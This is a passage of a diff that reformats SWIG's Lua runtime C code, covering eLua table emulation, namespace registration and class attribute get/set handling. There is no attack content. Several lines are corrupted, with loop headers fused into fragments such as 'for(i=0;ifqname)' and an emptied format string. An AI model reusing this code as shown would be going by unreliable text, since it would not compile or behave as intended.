SWIGUNUSED pairs_start = lua_gettop(L); + for(i = 0;table[i].key.type != LUA_TNIL || table[i].value.type != LUA_TNIL;i++) + { + const swig_elua_entry *entry = table + i; + int is_metatable = 0; + switch(entry->key.type) { + case LUA_TSTRING: + lua_pushstring(L,entry->key.key.strkey); + if(strcmp(entry->key.key.strkey, SWIG_LUA_ELUA_EMUL_METATABLE_KEY) == 0) + is_metatable = 1; + break; + case LUA_TNUMBER: + lua_pushnumber(L,entry->key.key.numkey); + break; + case LUA_TNIL: + lua_pushnil(L); + break; + default: + assert(0); } - parsed_tables_array = lua_gettop(L); - lua_pushvalue(L, target_table); - lua_rawsetp(L, parsed_tables_array, table); - table_parsed = 0; - const int SWIGUNUSED pairs_start = lua_gettop(L); - for (i = 0; table[i].key.type != LUA_TNIL || table[i].value.type != LUA_TNIL; i++) { - const swig_elua_entry *entry = table + i; - int is_metatable = 0; - switch (entry->key.type) { - case LUA_TSTRING: - lua_pushstring(L, entry->key.key.strkey); - if (strcmp(entry->key.key.strkey, SWIG_LUA_ELUA_EMUL_METATABLE_KEY) == 0) - is_metatable = 1; - break; - case LUA_TNUMBER: - lua_pushnumber(L, entry->key.key.numkey); - break; - case LUA_TNIL: - lua_pushnil(L); - break; - default: - assert(0); + switch(entry->value.type) { + case LUA_TSTRING: + lua_pushstring(L,entry->value.value.string); + break; + case LUA_TNUMBER: + lua_pushnumber(L,entry->value.value.number); + break; + case LUA_TFUNCTION: + lua_pushcfunction(L,entry->value.value.function); + break; + case LUA_TTABLE: + lua_rawgetp(L,parsed_tables_array, entry->value.value.table); + table_parsed = !lua_isnil(L,-1); + if(!table_parsed) { + lua_pop(L,1); /*remove nil */ + lua_newtable(L); + SWIG_Lua_elua_emulate_register(L,entry->value.value.table); + } + if(is_metatable) { + assert(lua_istable(L,-1)); + lua_pushvalue(L,-1); + lua_setmetatable(L,target_table); } - switch (entry->value.type) { - case LUA_TSTRING: - lua_pushstring(L, entry->value.value.string); - break; - case LUA_TNUMBER: - lua_pushnumber(L, entry->value.value.number); - break; - case LUA_TFUNCTION: - lua_pushcfunction(L, entry->value.value.function); - break; - case LUA_TTABLE: - lua_rawgetp(L, parsed_tables_array, entry->value.value.table); - table_parsed = !lua_isnil(L, -1); - if (!table_parsed) { - lua_pop(L, 1); /*remove nil */ - lua_newtable(L); - SWIG_Lua_elua_emulate_register(L, entry->value.value.table); - } - if (is_metatable) { - assert(lua_istable(L, -1)); - lua_pushvalue(L, -1); - lua_setmetatable(L, target_table); - } - break; - case LUA_TUSERDATA: - if (entry->value.value.userdata.member) - SWIG_NewMemberObj(L, entry->value.value.userdata.pvalue, - entry->value.value.userdata.lvalue, - *(entry->value.value.userdata.ptype)); - else - SWIG_NewPointerObj(L, entry->value.value.userdata.pvalue, - *(entry->value.value.userdata.ptype), 0); - break; - case LUA_TNIL: - lua_pushnil(L); - break; - default: - assert(0); - } - assert(lua_gettop(L) == pairs_start + 2); - lua_rawset(L, target_table); + break; + case LUA_TUSERDATA: + if(entry->value.value.userdata.member) + SWIG_NewMemberObj(L,entry->value.value.userdata.pvalue, + entry->value.value.userdata.lvalue, + *(entry->value.value.userdata.ptype)); + else + SWIG_NewPointerObj(L,entry->value.value.userdata.pvalue, + *(entry->value.value.userdata.ptype),0); + break; + case LUA_TNIL: + lua_pushnil(L); + break; + default: + assert(0); } - lua_pop(L, 1); /* Removing parsed tables storage */ - assert(lua_gettop(L) == target_table); + assert(lua_gettop(L) == pairs_start + 2); + lua_rawset(L,target_table); + } + lua_pop(L,1); /* Removing parsed tables storage */ + assert(lua_gettop(L) == target_table); } -SWIGINTERN void SWIG_Lua_elua_emulate_register_clear(lua_State *L) { - lua_pushnil(L); - lua_rawsetp(L, LUA_REGISTRYINDEX, &swig_lua_elua_emulate_unique_key); +SWIGINTERN void SWIG_Lua_elua_emulate_register_clear(lua_State *L) +{ + lua_pushnil(L); + lua_rawsetp(L, LUA_REGISTRYINDEX, &swig_lua_elua_emulate_unique_key); } SWIGINTERN void SWIG_Lua_get_class_registry(lua_State *L); -SWIGINTERN int SWIG_Lua_emulate_elua_getmetatable(lua_State *L) { - SWIG_check_num_args("getmetatable(SWIG eLua emulation)", 1, 1); - SWIG_Lua_get_class_registry(L); - lua_getfield(L, -1, "lua_getmetatable"); - lua_remove(L, -2); /* remove the registry*/ - assert(!lua_isnil(L, -1)); - lua_pushvalue(L, 1); - assert(lua_gettop(L) == 3); /* object | function | object again */ - lua_call(L, 1, 1); - if (!lua_isnil(L, -1)) /*There is an ordinary metatable */ - return 1; - /*if it is a table, then emulate elua behaviour - check for __metatable attribute of a table*/ - assert(lua_gettop(L) == 2); - if (lua_istable(L, -2)) { - lua_pop(L, 1); /*remove the nil*/ - lua_getfield(L, -1, SWIG_LUA_ELUA_EMUL_METATABLE_KEY); - } - assert(lua_gettop(L) == 2); +SWIGINTERN int SWIG_Lua_emulate_elua_getmetatable(lua_State *L) +{ + SWIG_check_num_args("getmetatable(SWIG eLua emulation)", 1, 1); + SWIG_Lua_get_class_registry(L); + lua_getfield(L,-1,"lua_getmetatable"); + lua_remove(L,-2); /* remove the registry*/ + assert(!lua_isnil(L,-1)); + lua_pushvalue(L,1); + assert(lua_gettop(L) == 3); /* object | function | object again */ + lua_call(L,1,1); + if(!lua_isnil(L,-1)) /*There is an ordinary metatable */ return 1; + /*if it is a table, then emulate elua behaviour - check for __metatable attribute of a table*/ + assert(lua_gettop(L) == 2); + if(lua_istable(L,-2)) { + lua_pop(L,1); /*remove the nil*/ + lua_getfield(L,-1, SWIG_LUA_ELUA_EMUL_METATABLE_KEY); + } + assert(lua_gettop(L) == 2); + return 1; fail: - lua_error(L); - return 0; + lua_error(L); + return 0; } -SWIGINTERN void SWIG_Lua_emulate_elua_swap_getmetatable(lua_State *L) { - SWIG_Lua_get_class_registry(L); - lua_pushglobaltable(L); - lua_pushstring(L, "lua_getmetatable"); - lua_getfield(L, -2, "getmetatable"); - assert(!lua_isnil(L, -1)); - lua_rawset(L, -4); - lua_pushstring(L, "getmetatable"); - lua_pushcfunction(L, SWIG_Lua_emulate_elua_getmetatable); - lua_rawset(L, -3); - lua_pop(L, 2); +SWIGINTERN void SWIG_Lua_emulate_elua_swap_getmetatable(lua_State *L) +{ + SWIG_Lua_get_class_registry(L); + lua_pushglobaltable(L); + lua_pushstring(L,"lua_getmetatable"); + lua_getfield(L,-2,"getmetatable"); + assert(!lua_isnil(L,-1)); + lua_rawset(L,-4); + lua_pushstring(L, "getmetatable"); + lua_pushcfunction(L, SWIG_Lua_emulate_elua_getmetatable); + lua_rawset(L,-3); + lua_pop(L,2); } /* END OF REMOVE */ @@ -1300,115 +1309,120 @@ SWIGINTERN void SWIG_Lua_emulate_elua_swap_getmetatable(lua_State *L) { * global variable support code: namespaces and modules (which are the same thing) * ----------------------------------------------------------------------------- */ -SWIGINTERN int SWIG_Lua_namespace_get(lua_State *L) { - /* there should be 2 params passed in - (1) table (not the meta table) - (2) string name of the attribute - */ - assert(lua_istable(L, -2)); /* just in case */ - lua_getmetatable(L, -2); - assert(lua_istable(L, -1)); - SWIG_Lua_get_table(L, ".get"); /* find the .get table */ - assert(lua_istable(L, -1)); - /* look for the key in the .get table */ - lua_pushvalue(L, 2); /* key */ - lua_rawget(L, -2); - lua_remove(L, -2); /* stack tidy, remove .get table */ - if (lua_iscfunction(L, -1)) { - /* found it so call the fn & return its value */ - lua_call(L, 0, 1); /* 1 value in (userdata),1 out (result) */ - lua_remove(L, -2); /* stack tidy, remove metatable */ - return 1; - } - lua_pop(L, 1); /* remove whatever was there */ - /* ok, so try the .fn table */ - SWIG_Lua_get_table(L, ".fn"); /* find the .get table */ - assert(lua_istable(L, -1)); /* just in case */ - lua_pushvalue(L, 2); /* key */ - lua_rawget(L, -2); /* look for the fn */ - lua_remove(L, -2); /* stack tidy, remove .fn table */ - if (lua_isfunction(L, -1)) { /* note: whether it's a C function or lua function */ - /* found it so return the fn & let lua call it */ - lua_remove(L, -2); /* stack tidy, remove metatable */ - return 1; - } - lua_pop(L, 1); /* remove whatever was there */ - return 0; +SWIGINTERN int SWIG_Lua_namespace_get(lua_State *L) +{ +/* there should be 2 params passed in + (1) table (not the meta table) + (2) string name of the attribute +*/ + assert(lua_istable(L,-2)); /* just in case */ + lua_getmetatable(L,-2); + assert(lua_istable(L,-1)); + SWIG_Lua_get_table(L,".get"); /* find the .get table */ + assert(lua_istable(L,-1)); + /* look for the key in the .get table */ + lua_pushvalue(L,2); /* key */ + lua_rawget(L,-2); + lua_remove(L,-2); /* stack tidy, remove .get table */ + if (lua_iscfunction(L,-1)) + { /* found it so call the fn & return its value */ + lua_call(L,0,1); /* 1 value in (userdata),1 out (result) */ + lua_remove(L,-2); /* stack tidy, remove metatable */ + return 1; + } + lua_pop(L,1); /* remove whatever was there */ + /* ok, so try the .fn table */ + SWIG_Lua_get_table(L,".fn"); /* find the .get table */ + assert(lua_istable(L,-1)); /* just in case */ + lua_pushvalue(L,2); /* key */ + lua_rawget(L,-2); /* look for the fn */ + lua_remove(L,-2); /* stack tidy, remove .fn table */ + if (lua_isfunction(L,-1)) /* note: whether it's a C function or lua function */ + { /* found it so return the fn & let lua call it */ + lua_remove(L,-2); /* stack tidy, remove metatable */ + return 1; + } + lua_pop(L,1); /* remove whatever was there */ + return 0; } -SWIGINTERN int SWIG_Lua_namespace_set(lua_State *L) { - /* there should be 3 params passed in - (1) table (not the meta table) - (2) string name of the attribute - (3) any for the new value - */ +SWIGINTERN int SWIG_Lua_namespace_set(lua_State *L) +{ +/* there should be 3 params passed in + (1) table (not the meta table) + (2) string name of the attribute + (3) any for the new value +*/ - assert(lua_istable(L, 1)); - lua_getmetatable(L, 1); /* get the meta table */ - assert(lua_istable(L, -1)); + assert(lua_istable(L,1)); + lua_getmetatable(L,1); /* get the meta table */ + assert(lua_istable(L,-1)); - SWIG_Lua_get_table(L, ".set"); /* find the .set table */ - if (lua_istable(L, -1)) { - /* look for the key in the .set table */ - lua_pushvalue(L, 2); /* key */ - lua_rawget(L, -2); - if (lua_iscfunction(L, -1)) { - /* found it so call the fn & return its value */ - lua_pushvalue(L, 3); /* value */ - lua_call(L, 1, 0); - return 0; - } - lua_pop(L, 1); /* remove the value */ + SWIG_Lua_get_table(L,".set"); /* find the .set table */ + if (lua_istable(L,-1)) + { + /* look for the key in the .set table */ + lua_pushvalue(L,2); /* key */ + lua_rawget(L,-2); + if (lua_iscfunction(L,-1)) + { /* found it so call the fn & return its value */ + lua_pushvalue(L,3); /* value */ + lua_call(L,1,0); + return 0; } - lua_pop(L, 1); /* remove the value .set table */ - lua_pop(L, 1); /* remote metatable */ - lua_rawset(L, -3); - return 0; + lua_pop(L,1); /* remove the value */ + } + lua_pop(L,1); /* remove the value .set table */ + lua_pop(L,1); /* remote metatable */ + lua_rawset(L,-3); + return 0; } #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) /* In elua this is useless */ SWIGINTERN void SWIG_Lua_InstallConstants(lua_State *L, swig_lua_const_info constants[]); /* forward declaration */ -SWIGINTERN void SWIG_Lua_add_variable(lua_State *L, const char *name, lua_CFunction getFn, lua_CFunction setFn); /* forward declaration */ -SWIGINTERN void SWIG_Lua_class_register(lua_State *L, swig_lua_class *clss); +SWIGINTERN void SWIG_Lua_add_variable(lua_State *L,const char *name,lua_CFunction getFn,lua_CFunction setFn); /* forward declaration */ +SWIGINTERN void SWIG_Lua_class_register(lua_State *L,swig_lua_class *clss); /* helper function - register namespace methods and attributes into namespace */ -SWIGINTERN int SWIG_Lua_add_namespace_details(lua_State *L, swig_lua_namespace *ns) { - int i; - /* There must be namespace table (not metatable) at the top of the stack */ - assert(lua_istable(L, -1)); - SWIG_Lua_InstallConstants(L, ns->ns_constants); +SWIGINTERN int SWIG_Lua_add_namespace_details(lua_State *L, swig_lua_namespace *ns) +{ + int i; + /* There must be namespace table (not metatable) at the top of the stack */ + assert(lua_istable(L,-1)); + SWIG_Lua_InstallConstants(L, ns->ns_constants); - /* add methods to the namespace/module table */ - for (i = 0; ns->ns_methods[i].name; i++) { - SWIG_Lua_add_function(L, ns->ns_methods[i].name, ns->ns_methods[i].func); - } - lua_getmetatable(L, -1); + /* add methods to the namespace/module table */ + for(i=0;ns->ns_methods[i].name;i++){ + SWIG_Lua_add_function(L,ns->ns_methods[i].name,ns->ns_methods[i].func); + } + lua_getmetatable(L,-1); - /* add fns */ - for (i = 0; ns->ns_attributes[i].name; i++) { - SWIG_Lua_add_variable(L, ns->ns_attributes[i].name, ns->ns_attributes[i].getmethod, ns->ns_attributes[i].setmethod); - } + /* add fns */ + for(i=0;ns->ns_attributes[i].name;i++){ + SWIG_Lua_add_variable(L,ns->ns_attributes[i].name,ns->ns_attributes[i].getmethod,ns->ns_attributes[i].setmethod); + } - /* clear stack - remove metatble */ - lua_pop(L, 1); - return 0; + /* clear stack - remove metatble */ + lua_pop(L,1); + return 0; } /* Register all classes in the namespace */ -SWIGINTERN void SWIG_Lua_add_namespace_classes(lua_State *L, swig_lua_namespace *ns) { - swig_lua_class **classes; +SWIGINTERN void SWIG_Lua_add_namespace_classes(lua_State *L, swig_lua_namespace *ns) +{ + swig_lua_class **classes; - /* There must be a module/namespace table at the top of the stack */ - assert(lua_istable(L, -1)); + /* There must be a module/namespace table at the top of the stack */ + assert(lua_istable(L,-1)); - classes = ns->ns_classes; + classes = ns->ns_classes; - if (classes != 0) { - while (*classes != 0) { - SWIG_Lua_class_register(L, *classes); - classes++; - } + if( classes != 0 ) { + while(*classes != 0) { + SWIG_Lua_class_register(L, *classes); + classes++; } + } } /* Helper function. Creates namespace table and adds it to module table @@ -1416,54 +1430,55 @@ SWIGINTERN void SWIG_Lua_add_namespace_classes(lua_State *L, swig_lua_namespace when function is called). Function always returns newly registered table on top of the stack. */ -SWIGINTERN void SWIG_Lua_namespace_register(lua_State *L, swig_lua_namespace *ns, int reg) { - swig_lua_namespace **sub_namespace; - /* 1 argument - table on the top of the stack */ - const int SWIGUNUSED begin = lua_gettop(L); - assert(lua_istable(L, -1)); /* just in case. This is supposed to be module table or parent namespace table */ - lua_checkstack(L, 5); - lua_newtable(L); /* namespace itself */ - lua_newtable(L); /* metatable for namespace */ +SWIGINTERN void SWIG_Lua_namespace_register(lua_State *L, swig_lua_namespace *ns, int reg) +{ + swig_lua_namespace **sub_namespace; + /* 1 argument - table on the top of the stack */ + const int SWIGUNUSED begin = lua_gettop(L); + assert(lua_istable(L,-1)); /* just in case. This is supposed to be module table or parent namespace table */ + lua_checkstack(L,5); + lua_newtable(L); /* namespace itself */ + lua_newtable(L); /* metatable for namespace */ - /* add a table called ".get" */ - lua_pushstring(L, ".get"); - lua_newtable(L); - lua_rawset(L, -3); - /* add a table called ".set" */ - lua_pushstring(L, ".set"); - lua_newtable(L); - lua_rawset(L, -3); - /* add a table called ".fn" */ - lua_pushstring(L, ".fn"); - lua_newtable(L); - lua_rawset(L, -3); + /* add a table called ".get" */ + lua_pushstring(L,".get"); + lua_newtable(L); + lua_rawset(L,-3); + /* add a table called ".set" */ + lua_pushstring(L,".set"); + lua_newtable(L); + lua_rawset(L,-3); + /* add a table called ".fn" */ + lua_pushstring(L,".fn"); + lua_newtable(L); + lua_rawset(L,-3); - /* add accessor fns for using the .get,.set&.fn */ - SWIG_Lua_add_function(L, "__index", SWIG_Lua_namespace_get); - SWIG_Lua_add_function(L, "__newindex", SWIG_Lua_namespace_set); + /* add accessor fns for using the .get,.set&.fn */ + SWIG_Lua_add_function(L,"__index",SWIG_Lua_namespace_get); + SWIG_Lua_add_function(L,"__newindex",SWIG_Lua_namespace_set); - lua_setmetatable(L, -2); /* set metatable */ + lua_setmetatable(L,-2); /* set metatable */ - /* Register all functions, variables etc */ - SWIG_Lua_add_namespace_details(L, ns); - /* Register classes */ - SWIG_Lua_add_namespace_classes(L, ns); + /* Register all functions, variables etc */ + SWIG_Lua_add_namespace_details(L,ns); + /* Register classes */ + SWIG_Lua_add_namespace_classes(L,ns); - sub_namespace = ns->ns_namespaces; - if (sub_namespace != 0) { - while (*sub_namespace != 0) { - SWIG_Lua_namespace_register(L, *sub_namespace, 1); - lua_pop(L, 1); /* removing sub-namespace table */ - sub_namespace++; - } + sub_namespace = ns->ns_namespaces; + if( sub_namespace != 0) { + while(*sub_namespace != 0) { + SWIG_Lua_namespace_register(L, *sub_namespace, 1); + lua_pop(L,1); /* removing sub-namespace table */ + sub_namespace++; } + } - if (reg) { - lua_pushstring(L, ns->name); - lua_pushvalue(L, -2); - lua_rawset(L, -4); /* add namespace to module table */ - } - assert(lua_gettop(L) == begin + 1); + if (reg) { + lua_pushstring(L,ns->name); + lua_pushvalue(L,-2); + lua_rawset(L,-4); /* add namespace to module table */ + } + assert(lua_gettop(L) == begin+1); } #endif /* SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA */ @@ -1471,12 +1486,13 @@ SWIGINTERN void SWIG_Lua_namespace_register(lua_State *L, swig_lua_namespace *ns * global variable support code: classes * ----------------------------------------------------------------------------- */ -SWIGINTERN void SWIG_Lua_get_class_metatable(lua_State *L, const char *cname); +SWIGINTERN void SWIG_Lua_get_class_metatable(lua_State *L,const char *cname); -typedef int (*swig_lua_base_iterator_func)(lua_State *, swig_type_info *, int, int *ret); +typedef int (*swig_lua_base_iterator_func)(lua_State*,swig_type_info*, int, int *ret); -SWIGINTERN int SWIG_Lua_iterate_bases(lua_State *L, swig_type_info *SWIGUNUSED swig_type, - int first_arg, swig_lua_base_iterator_func func, int *const ret) { +SWIGINTERN int SWIG_Lua_iterate_bases(lua_State *L, swig_type_info * SWIGUNUSED swig_type, + int first_arg, swig_lua_base_iterator_func func, int *const ret) +{ /* first_arg - position of the object in stack. Everything that is above are arguments * and is passed to every evocation of the func */ int last_arg = lua_gettop(L);/* position of last argument */ @@ -1485,87 +1501,88 @@ SWIGINTERN int SWIG_Lua_iterate_bases(lua_State *L, swig_type_info *SWIGUNUSED s int result = SWIG_ERROR; int bases_table; (void)swig_type; - lua_getmetatable(L, first_arg); + lua_getmetatable(L,first_arg); /* initialise base search */ #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) - SWIG_Lua_get_table(L, ".bases"); - assert(lua_istable(L, -1)); - bases_count = lua_rawlen(L, -1); + SWIG_Lua_get_table(L,".bases"); + assert(lua_istable(L,-1)); + bases_count = lua_rawlen(L,-1); bases_table = lua_gettop(L); #else /* In elua .bases table doesn't exist. Use table from swig_lua_class */ (void)bases_table; - assert(swig_type != 0); - swig_module_info *module = SWIG_GetModule(L); - swig_lua_class **bases = ((swig_lua_class *)(swig_type->clientdata))->bases; - const char **base_names = ((swig_lua_class *)(swig_type->clientdata))->base_names; + assert(swig_type!=0); + swig_module_info *module=SWIG_GetModule(L); + swig_lua_class **bases= ((swig_lua_class*)(swig_type->clientdata))->bases; + const char **base_names= ((swig_lua_class*)(swig_type->clientdata))->base_names; bases_count = 0; - for (; base_names[bases_count]; - bases_count++);/* get length of bases */ + for(;base_names[bases_count]; + bases_count++);/* get length of bases */ #endif - if (ret) - *ret = 0; - if (bases_count > 0) { - int to_remove; - size_t i; - int j; - int subcall_last_arg; - int subcall_first_arg = lua_gettop(L) + 1;/* Here a copy of first_arg and arguments begin */ - int valid = 1; - swig_type_info *base_swig_type = 0; - for (j = first_arg; j <= last_arg; j++) - lua_pushvalue(L, j); - subcall_last_arg = lua_gettop(L); + if(ret) + *ret = 0; + if(bases_count>0) + { + int to_remove; + size_t i; + int j; + int subcall_last_arg; + int subcall_first_arg = lua_gettop(L) + 1;/* Here a copy of first_arg and arguments begin */ + int valid = 1; + swig_type_info *base_swig_type = 0; + for(j=first_arg;j<=last_arg;j++) + lua_pushvalue(L,j); + subcall_last_arg = lua_gettop(L); - /* Trick: temporarily replacing original metatable with metatable for base class and call getter */ - for (i = 0; i < bases_count; i++) { - /* Iteration through class bases */ + /* Trick: temporarily replacing original metatable with metatable for base class and call getter */ + for(i=0;ifqname); - base_swig_type = SWIG_TypeQueryModule(module, module, base_names[i]); - assert(base_swig_type != 0); - } + swig_lua_class *base_class = bases[i]; + if(!base_class) { + valid = 0; + } else { + valid = 1; + SWIG_Lua_get_class_metatable(L,base_class->fqname); + base_swig_type = SWIG_TypeQueryModule(module,module,base_names[i]); + assert(base_swig_type != 0); + } #endif - if (!valid) - continue; - assert(lua_isuserdata(L, subcall_first_arg)); - assert(lua_istable(L, -1)); - lua_setmetatable(L, subcall_first_arg); /* Set new metatable */ - assert(lua_gettop(L) == subcall_last_arg); - result = func(L, base_swig_type, subcall_first_arg, ret); /* Forward call */ - if (result != SWIG_ERROR) { - break; - } + if(!valid) + continue; + assert(lua_isuserdata(L, subcall_first_arg)); + assert(lua_istable(L,-1)); + lua_setmetatable(L,subcall_first_arg); /* Set new metatable */ + assert(lua_gettop(L) == subcall_last_arg); + result = func(L, base_swig_type,subcall_first_arg, ret); /* Forward call */ + if(result != SWIG_ERROR) { + break; } - /* Restore original metatable */ - lua_pushvalue(L, original_metatable); - lua_setmetatable(L, first_arg); - /* Clear - remove everything between last_arg and subcall_last_arg including */ - to_remove = subcall_last_arg - last_arg; - for (j = 0; j < to_remove; j++) - lua_remove(L, last_arg + 1); + } + /* Restore original metatable */ + lua_pushvalue(L,original_metatable); + lua_setmetatable(L,first_arg); + /* Clear - remove everything between last_arg and subcall_last_arg including */ + to_remove = subcall_last_arg - last_arg; + for(j=0;jtype; - result = SWIG_Lua_class_do_get(L, type, 1, &ret); - if (result == SWIG_OK) - return ret; +SWIGINTERN int SWIG_Lua_class_get(lua_State *L) +{ +/* there should be 2 params passed in + (1) userdata (not the meta table) + (2) string name of the attribute +*/ + int result; + swig_lua_userdata *usr; + swig_type_info *type; + int ret = 0; + assert(lua_isuserdata(L,1)); + usr=(swig_lua_userdata*)lua_touserdata(L,1); /* get data */ + type = usr->type; + result = SWIG_Lua_class_do_get(L,type,1,&ret); + if(result == SWIG_OK) + return ret; - result = SWIG_Lua_class_do_get_item(L, type, 1, &ret); - if (result == SWIG_OK) - return ret; + result = SWIG_Lua_class_do_get_item(L,type,1,&ret); + if(result == SWIG_OK) + return ret; - return 0; + return 0; } /* helper for the class.set method, performs the lookup of class attributes * It returns error code. Number of function return values is passed inside 'ret' */ -SWIGINTERN int SWIG_Lua_class_do_set(lua_State *L, swig_type_info *type, int first_arg, int *ret) { - /* there should be 3 params passed in - (1) table (not the meta table) - (2) string name of the attribute - (3) any for the new value - */ +SWIGINTERN int SWIG_Lua_class_do_set(lua_State *L, swig_type_info *type, int first_arg, int *ret) +{ +/* there should be 3 params passed in + (1) table (not the meta table) + (2) string name of the attribute + (3) any for the new value + */ - int bases_search_result; - int substack_start = lua_gettop(L) - 3; - lua_checkstack(L, 5); - assert(lua_isuserdata(L, substack_start + 1)); /* just in case */ - lua_getmetatable(L, substack_start + 1); /* get the meta table */ - assert(lua_istable(L, -1)); /* just in case */ - if (ret) - *ret = 0; /* it is setter - number of return values is always 0 */ + int bases_search_result; + int substack_start = lua_gettop(L) - 3; + lua_checkstack(L,5); + assert(lua_isuserdata(L,substack_start+1)); /* just in case */ + lua_getmetatable(L,substack_start+1); /* get the meta table */ + assert(lua_istable(L,-1)); /* just in case */ + if(ret) + *ret = 0; /* it is setter - number of return values is always 0 */ - SWIG_Lua_get_table(L, ".set"); /* find the .set table */ - if (lua_istable(L, -1)) { - /* look for the key in the .set table */ - lua_pushvalue(L, substack_start + 2); /* key */ - lua_rawget(L, -2); - lua_remove(L, -2); /* tidy stack, remove .set table */ - if (lua_iscfunction(L, -1)) { - /* found it so call the fn & return its value */ - lua_pushvalue(L, substack_start + 1); /* userdata */ - lua_pushvalue(L, substack_start + 3); /* value */ - lua_call(L, 2, 0); - lua_remove(L, substack_start + 4); /*remove metatable*/ - return SWIG_OK; - } - lua_pop(L, 1); /* remove the value */ - } else { - lua_pop(L, 1); /* remove the answer for .set table request*/ + SWIG_Lua_get_table(L,".set"); /* find the .set table */ + if (lua_istable(L,-1)) + { + /* look for the key in the .set table */ + lua_pushvalue(L,substack_start+2); /* key */ + lua_rawget(L,-2); + lua_remove(L,-2); /* tidy stack, remove .set table */ + if (lua_iscfunction(L,-1)) + { /* found it so call the fn & return its value */ + lua_pushvalue(L,substack_start+1); /* userdata */ + lua_pushvalue(L,substack_start+3); /* value */ + lua_call(L,2,0); + lua_remove(L,substack_start+4); /*remove metatable*/ + return SWIG_OK; } - /* NEW: looks for the __setitem() fn - this is a user provided set fn */ - SWIG_Lua_get_table(L, "__setitem"); /* find the fn */ - if (lua_iscfunction(L, -1)) { /* if it's there */ - /* found it so call the fn & return its value */ - lua_pushvalue(L, substack_start + 1); /* the userdata */ - lua_pushvalue(L, substack_start + 2); /* the parameter */ - lua_pushvalue(L, substack_start + 3); /* the value */ - lua_call(L, 3, 0); /* 3 values in ,0 out */ - lua_remove(L, -2); /* stack tidy, remove metatable */ - return SWIG_OK; - } - lua_pop(L, 1); /* remove value */ + lua_pop(L,1); /* remove the value */ + } else { + lua_pop(L,1); /* remove the answer for .set table request*/ + } + /* NEW: looks for the __setitem() fn + this is a user provided set fn */ + SWIG_Lua_get_table(L,"__setitem"); /* find the fn */ + if (lua_iscfunction(L,-1)) /* if it's there */ + { /* found it so call the fn & return its value */ + lua_pushvalue(L,substack_start+1); /* the userdata */ + lua_pushvalue(L,substack_start+2); /* the parameter */ + lua_pushvalue(L,substack_start+3); /* the value */ + lua_call(L,3,0); /* 3 values in ,0 out */ + lua_remove(L,-2); /* stack tidy, remove metatable */ + return SWIG_OK; + } + lua_pop(L,1); /* remove value */ - lua_pop(L, 1); /* remove metatable */ - /* Search among bases */ - bases_search_result = SWIG_Lua_iterate_bases(L, type, first_arg, SWIG_Lua_class_do_set, ret); - if (ret) - assert(*ret == 0); - assert(lua_gettop(L) == substack_start + 3); - return bases_search_result; + lua_pop(L,1); /* remove metatable */ + /* Search among bases */ + bases_search_result = SWIG_Lua_iterate_bases(L,type,first_arg,SWIG_Lua_class_do_set,ret); + if(ret) + assert(*ret == 0); + assert(lua_gettop(L) == substack_start + 3); + return bases_search_result; } /* This is the actual method exported to Lua. It calls SWIG_Lua_class_do_set and correctly * handles return values. */ -SWIGINTERN int SWIG_Lua_class_set(lua_State *L) { - /* There should be 3 params passed in - (1) table (not the meta table) - (2) string name of the attribute - (3) any for the new value - */ - int ret = 0; - int result; - swig_lua_userdata *usr; - swig_type_info *type; - assert(lua_isuserdata(L, 1)); - usr = (swig_lua_userdata *)lua_touserdata(L, 1); /* get data */ - type = usr->type; - result = SWIG_Lua_class_do_set(L, type, 1, &ret); - if (result != SWIG_OK) { - SWIG_Lua_pushferrstring(L, "Assignment not possible. No setter/member with this name. For custom assignments implement __setitem method."); - lua_error(L); - } else { - assert(ret == 0); - } - return 0; +SWIGINTERN int SWIG_Lua_class_set(lua_State *L) +{ +/* There should be 3 params passed in + (1) table (not the meta table) + (2) string name of the attribute + (3) any for the new value + */ + int ret = 0; + int result; + swig_lua_userdata *usr; + swig_type_info *type; + assert(lua_isuserdata(L,1)); + usr=(swig_lua_userdata*)lua_touserdata(L,1); /* get data */ + type = usr->type; + result = SWIG_Lua_class_do_set(L,type,1,&ret); + if(result != SWIG_OK) { + SWIG_Lua_pushferrstring(L,"Assignment not possible. No setter/member with this name. For custom assignments implement __setitem method."); + lua_error(L); + } else { + assert(ret==0); + } + return 0; } /* the class.destruct method called by the interpreter */ -SWIGINTERN int SWIG_Lua_class_destruct(lua_State *L) { - /* there should be 1 params passed in - (1) userdata (not the meta table) */ - swig_lua_userdata *usr; - swig_lua_class *clss; - assert(lua_isuserdata(L, -1)); /* just in case */ - usr = (swig_lua_userdata *)lua_touserdata(L, -1); /* get it */ - /* if must be destroyed & has a destructor */ - if (usr->own) { /* if must be destroyed */ - clss = (swig_lua_class *)usr->type->clientdata; /* get the class */ - if (clss && clss->destructor) { /* there is a destroy fn */ - clss->destructor(usr->ptr); /* bye bye */ - } +SWIGINTERN int SWIG_Lua_class_destruct(lua_State *L) +{ +/* there should be 1 params passed in + (1) userdata (not the meta table) */ + swig_lua_userdata *usr; + swig_lua_class *clss; + assert(lua_isuserdata(L,-1)); /* just in case */ + usr=(swig_lua_userdata*)lua_touserdata(L,-1); /* get it */ + /* if must be destroyed & has a destructor */ + if (usr->own) /* if must be destroyed */ + { + clss=(swig_lua_class*)usr->type->clientdata; /* get the class */ + if (clss && clss->destructor) /* there is a destroy fn */ + { + clss->destructor(usr->ptr); /* bye bye */ } - return 0; + } + return 0; } /* the class.__tostring method called by the interpreter and print */ -SWIGINTERN int SWIG_Lua_class_tostring(lua_State *L) { - /* there should be 1 param passed in - (1) userdata (not the metatable) */ - swig_lua_userdata *userData; - assert(lua_isuserdata(L, 1)); /* just in case */ - userData = (swig_lua_userdata *)lua_touserdata(L, 1); /* get the userdata address */ +SWIGINTERN int SWIG_Lua_class_tostring(lua_State *L) +{ +/* there should be 1 param passed in + (1) userdata (not the metatable) */ + swig_lua_userdata* userData; + assert(lua_isuserdata(L,1)); /* just in case */ + userData = (swig_lua_userdata*)lua_touserdata(L,1); /* get the userdata address */ - lua_pushfstring(L, "", userData->type->str, userData->ptr); - return 1; + lua_pushfstring(L, "", userData->type->str, userData->ptr); + return 1; } /* to manually disown some userdata */ -SWIGINTERN int SWIG_Lua_class_disown(lua_State *L) { - /* there should be 1 params passed in - (1) userdata (not the meta table) */ - swig_lua_userdata *usr; - assert(lua_isuserdata(L, -1)); /* just in case */ - usr = (swig_lua_userdata *)lua_touserdata(L, -1); /* get it */ +SWIGINTERN int SWIG_Lua_class_disown(lua_State *L) +{ +/* there should be 1 params passed in + (1) userdata (not the meta table) */ + swig_lua_userdata *usr; + 